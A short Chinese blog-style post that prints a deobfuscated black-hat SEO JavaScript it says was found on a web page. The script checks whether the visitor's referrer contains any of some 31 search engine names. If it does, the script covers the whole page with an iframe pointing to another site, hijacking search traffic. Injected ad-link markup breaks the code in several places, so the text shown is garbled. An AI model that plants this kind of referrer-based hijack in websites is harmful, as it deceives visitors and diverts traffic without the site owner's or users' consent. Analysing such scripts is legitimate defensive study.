黑帽seo劫持程序,js劫持搜索引擎代码
今天在浏览网页时无意中发现了这段JS劫持搜索引擎代码。劫持搜索引擎正常搜索过来的流量，这是黑帽seo常用的劫持方法。特意解密出来供大家了解其劫持原理。
源码打印帮助
<SCRIPTlanguage="<spanid="0_nwp"style="width:auto;height:auto;float:none;"><aid="0_nwl"href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=javascript&k0=javascript&kdi0=0&luki=8&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0"target="_blank"mpid="0"style="text-decoration:none;"><spanstyle="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">javascript</span></a></span>">
var_$=["google","aol","yahoo","bing","msn","hotbot","go","searchengine","altavista","goto","excite","slider","musicsearch","lycos","look<spanid="1_nwp"style="width:auto;height:auto;float:none;"><aid="1_nwl"href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=smart&k0=smart&kdi0=0&luki=3&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0"target="_blank"mpid="1"style="text-decoration:none;"><spanstyle="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">smart</span></a></span>","netscape","search","ask","Mahalo","dogpile","S-R","webcrawler","yandex","splut","fireball","wlw","suche","godado","tiscali","iltrovatore","abacho","<div<spanid="2_nwp"style="width:auto;height:auto;float:none;"><aid="2_nwl"href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=style&k0=style&kdi0=0&luki=6&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0"target="_blank"mpid="2"style="text-decoration:none;"><spanstyle="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">style</span></a></span>=\"z-index:10043;background-color:#ffffff;right:0px;position:absolute;tex-align:center;width:100%;height:100%;top:0px;left:0px;\"><iframeid=\"rf\"scrolling=\"no\"frameborder=\"0\"style=\"width:100%;height:2043px;display:<spanid="3_nwp"style="width:auto;height:auto;float:none;"><aid="3_nwl"href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=block&k0=block&kdi0=0&luki=5&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0"target="_blank"mpid="3"style="text-decoration:none;"><spanstyle="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">block</span></a></span>;visibility:visible;\"<spanid="4_nwp"style="width:auto;height:auto;float:none;"><aid="4_nwl"href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=47&ch=0&di=128&fv=17&is_app=0&jk=3703a16fbcaecbb6&k=src&k0=src&kdi0=0&luki=4&n=10&p=baidu&q=77031027_cpr&rb=0&rs=1&seller_id=1&sid=b6cbaebc6fa10337&ssp2=1&stid=0&t=tpclicked3_hc&td=2268074&tu=u2268074&u=http%3A%2F%2Fwww%2E5ixuexiwang%2Ecom%2Fhtml%2Fbiancheng%2Fjs%2F2014%2F0704%2F2065%2Ehtml&urlid=0"target="_blank"mpid="4"style="text-decoration:none;"><spanstyle="color:#0000ff;font-size:12px;width:auto;height:auto;float:none;">src</span></a></span>=\"http://www.5ixuexiwang.com/\"allowtransparency=\"true\"></div>"];
vara=window["document"]["referrer"];
if(a["indexOf"](_$[0])>0x0||a["indexOf"](_$[1])>0x0||a["indexOf"](_$[2])>0x0||a["indexOf"](_$[3])>0x0||a["indexOf"](_$[4])>0x0||a["indexOf"](_$[5])>0x0||a["indexOf"](_$[6])>0x0||a["indexOf"](_$[7])>0x0||a["indexOf"](_$[8])>0x0||a["indexOf"](_$[9])>0x0||a["indexOf"](_$[10])>0x0||a["indexOf"](_$[11])>0x0||a["indexOf"](_$[12])>0x0||a["indexOf"](_$[13])>0x0||a["indexOf"](_$[14])>0x0||a["indexOf"](_$[15])>0x0||a["indexOf"](_$[16])>0x0||a["indexOf"](_$[17])>0x0||a["indexOf"](_$[18])>0x0||a["indexOf"](_$[19])>0x0||a["indexOf"](_$[20])>0x0||a["indexOf"](_$[21])>0x0||a["indexOf"](_$[22])>0x0||a["indexOf"](_$[23])>0x0||a["indexOf"](_$[24])>0x0||a["indexOf"](_$[25])>0x0||a["indexOf"](_$[26])>0x0||a["indexOf"](_$[27])>0x0||a["indexOf"](_$[28])>0x0||a["indexOf"](_$[29])>0x0||a["indexOf"](_$[30])>0x0){
window["document"]["writeln"](_$[31])
}
</SCRIPT>
以上内容就是给大家分享的黑帽seo劫持程序,js劫持搜索引擎代码，希望大家喜欢。